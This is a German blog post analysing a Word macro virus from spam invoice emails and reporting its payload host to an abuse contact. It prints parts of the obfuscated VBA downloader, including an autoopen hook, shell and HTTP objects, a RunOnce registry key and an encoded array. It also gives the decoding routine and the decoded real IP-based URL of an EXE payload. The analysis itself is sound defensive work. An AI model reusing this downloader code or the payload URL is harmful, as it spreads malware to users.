Spam Spam Spam Makrovirus Spam…

Derzeit kommen immer wieder gleichlautende Mails mit angehängten Rechnungen und Lieferscheinen im DOC-Format herein. Das es sich hier offensichtlich um einen Makrovirus handelt sollte hoffentlich den meisten schon aufgefallen sein. Nachdem mir diese derartig auf den Sack gehen, hab ich mir solch ein Dokument mal genauer angeschaut.

Word Makrovirus

Beim öffnen der Datei meldet Word sich brav, ob die enthaltenen Makros aktiviert werden sollen.

Bei Makros wird der Quelltext in Form von Visual Basic Code mitgeliefert. Im VB Editor fällt auch gleich der folgende Code auf.

Sub autoopen()
GetDrivesAllocUnit ""
End Sub

Dadurch wird beim Öffnen des Dokumentes und aktivierten Makros automatisch die Routine „GetDrivesAllocUnit“ ausgeführt. Die vier CreateObject Anweisungen lassen bereits erkennen, was das Ziel des Makros sein wird. Es wird also irgend etwas über HTTP übertragen (Microsoft.XMLHTTP) und mit Prozessen und der Shell interagiert.

Public Function GetDrivesAllocUnit(ByVal strDrive As String) As Long
 Dim lRet As Long
 Dim lBytes As Long
 Dim lSect As Long
 Dim lClust As Long
 Dim lTot As Long
 Dim strDriveNew As String
 Set CheckForAndInstallDirectX1 = CreateObject("Microsoft.XMLHTTP")
 Set CheckForAndInstallDirectX2 = CreateObject("Adodb.Stream")
 Set CheckForAndInstallDirectX6 = CreateObject("Shell.Application")
 Set CheckForAndInstallDirectX3 = CreateObject("WScript.Shell").Environment("Process")
 ExitSetup "", 0
 CheckForAndInstallDirectX6.Open (CheckForAndInstallDirectX5)
 Exit Function
[...]
End Function

Wenn man sich nun die Routine ExitSetup etwas genauer anschaut, fällt eines schon mal auf – es sind viele Umwege enthalten und manche Namen von Prozeduren und Variablen haben mit der eigentlichen Funktion nix am Hut. Das ganze dient offensichtlich der Verschleierung. Unter anderem werden Texte wie zum Beispiel „Get“ durch reverse Schreibweise zu „teG“, nur um wieder durch ein StrReverse richtiggestellt zu werden.

Public Sub ExitSetup(frm As String, intExitCode As Integer)
 Const sKEY As String = "Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup"
 Const sValue As String = "Configuring Data Access"
 Const iSUCCESS = 0
 Const iFAIL = 1
 Dim strMsg As String
 Dim strSilent As String
 Dim fNeedReboot As Boolean
 Dim iRet As Integer
 Dim sRet As String
 Dim ReadIniFile2() As Variant
ReadIniFile2 = Array(7044, 7056, 7056, 7052, 6998, 6987, 6987, 6989, 6997, 6996, 6986, 6989, 6990, 6986, 6989, 6993, 6991, 6986, 6989, 6991, 6992, 6987, 7066, 7059, 7041, 7038, 7042, 7054, 7041, 7039, 7057, 7041, 7050, 7039, 7045, 7037, 6987, 6995, 6996, 6994, 7044, 6996, 7061, 7044, 6987, 6996, 6995, 7056, 6993, 7042, 7058, 6986, 7041, 7060, 7041)
CheckForAndInstallDirectX1.Open StrReverse(UCase("Teg")), IsFileADXRedist(ReadIniFile2, 54), False
[...]

GET Aufruf gefunden

Aber was haben wir denn da? Dieses Array sieht schon sehr verdächtig aus! Die Zahlenreihe lässt vermuten, das hier ein Text codiert wurde. Aus den ersten vier Zahlen, bei denen die zweite und dritte gleich sind, dem ersten CreateObject sowie dem versteckten „Get“ im Anschluss schließe ich, das es sich hierbei um eine HTTP-Adresse handeln muss. Ein Blick in die ASCII-Tabelle für die Buchstaben http gibt die dezimalen Werte wieder.

  • ASCII-Code für h = 104
  • ASCII-Code für t = 116
  • ASCII-Code für p = 112

Etwas Mathematik macht dann einen Schuh daraus:

  • erste Zahl 7044: Differenz aus 7044 – 104 = 6940
  • zweite und dritte Zahl 7056: Differenz aus 7056 – 116 = 6940
  • vierte Zahl 7052: Differenz aus 7052 – 112 = 6940

Hier ergibt sich ein Muster! Wenn man nun bei allen Zahlen nach diesem Schema 6940 abzieht und gegen die ASCII-Zeichen ersetzt, erhält man folgende Adresse:

 

http://198.12.153.134/~webfrecuencia/786h8yh/87t5fv.exe

Ein weiterer Blick in die Routine IsFileADXRedist zeigt auch diese Rückrechnung, wobei mir mein Taschenrechner aus der Rechnung nur 6400 liefert. Kann aber auch sein, das VB es mit Punkt vor Strich nicht so genau nimmt…

Public Function IsFileADXRedist(ByValvDefault() As Variant, NothingOrNodeName As Integer) As String
 Dim i As Integer Dim RebootSystem1 As String
 RebootSystem1 = ""
 For i = LBound(ByValvDefault) To UBound(ByValvDefault)
  RebootSystem1 = RebootSystem1 & Chr(ByValvDefault(i) - 5 * NothingOrNodeName - 5 - 555 - 5555 - 555)
 Next i
 IsFileADXRedist = RebootSystem1
End Function

Prävention

Ein wget auf diese Adresse läd tatsächlich weiterhin eine EXE-Datei herunter. Ohne den Code weiter zu analysieren vermute ich, das hierbei die Datei lokal heruntergeladen wird und über Einträge in der Windows Registry nach jedem Bootvorgang gestartet wird. Bei der Datei handelt es sich laut „file“ um folgenden Typ:

$ file Downloads/87t5fv.exe
Downloads/87t5fv.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Um dem Virus das Handwerk zu legen, hab ich mir dann die passende Abuse-Adresse zu der Adresse herausgesucht. Dazu erstmal über die IANA die zuständige Registry gefunden, hier hat die ARIN ihre Hand drauf. Die Abfrage zeigt dann auch schon, das es sich hierbei um GoDaddy handelt und deren Abuse-Contact unter abuse@godaddy.com zu erreichen ist.

Eine kurze Mail aufgesetzt und ab damit.

Hi GoDaddy,

The webspace on IP 198.12.153.134 which is assigned to you according
to the arin.net registry is distributing the following maleware via a
word macro virus in various spam mails

http://198.12.153.134/~webfrecuencia/786h8yh/87t5fv.exe

This link is currently active. Please remove the file to prevent
further distribution.
Best regards
Oliver Dorn

In wieweit GoDaddy darauf reagiert bleibt offen. Aber vielleicht wird dadurch das Internet für ein paar DAUs sicherer.

Leave a Comment

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.